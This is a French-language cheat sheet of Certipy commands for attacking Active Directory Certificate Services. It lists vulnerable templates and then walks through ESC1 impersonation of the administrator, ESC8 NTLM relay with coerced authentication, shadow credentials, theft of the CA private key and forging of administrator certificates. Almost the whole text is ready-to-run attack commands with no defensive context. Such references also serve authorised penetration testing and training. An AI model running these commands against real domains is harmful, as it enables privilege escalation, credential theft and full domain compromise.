#Énumérer
# Templates et CA vulnérables
certipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 -vulnerable
# Sortie lisible + JSON
certipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 \
-vulnerable -stdout -json certipy.json
# Avec hash
certipy find -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.10 -vulnerable
| ESC | Cause | Impact |
|---|---|---|
| ESC1 | Le demandeur contrôle le SAN | Usurper n'importe quel UPN |
| ESC2 | Template « Any Purpose » | Usage arbitraire du certificat |
| ESC3 | Enrollment agent mal contrôlé | Demander pour autrui |
| ESC4 | ACL d'écriture sur un template | Modifier le template |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 |
SAN arbitraire sur tous les templates |
| ESC8 | Endpoint HTTP d'enrollment | Relais NTLM vers l'ADCS |
#Exploiter ESC1
# Demander un certificat au nom de l'admin
certipy req -u user@domain.local -p 'Password' \
-ca CORP-CA -template VulnUser -upn administrator@domain.local \
-dc-ip 10.10.10.10
# Authentifier avec le PFX et récupérer le hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# ESC8 : relais NTLM vers l'endpoint HTTP d'enrollment
certipy relay -target http://ca01.domain.local -template DomainController
# Puis forcer une authentification (PetitPotam, PrinterBug, etc.)
# et utiliser le PFX obtenu
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
#Shadow credentials
# Ajouter une clé à un compte (droits d'écriture requis)
certipy shadow auto -u user@domain.local -p 'Password' \
-account victim -dc-ip 10.10.10.10
# Nettoyer la clé ajoutée
certipy shadow remove -u user@domain.local -p 'Password' \
-account victim -dc-ip 10.10.10.10
#Forge et sauvegarde
# Sauvegarder la clé privée de la CA (si contrôle total)
certipy ca -u user@domain.local -p 'Password' -ca CORP-CA -backup
# Forger un certificat avec la CA compromise
certipy forge -ca-pfx CORP-CA.pfx -upn administrator@domain.local \
-subject "CN=Administrator" -out forged.pfx
# Authentifier
certipy auth -pfx forged.pfx -dc-ip 10.10.10.10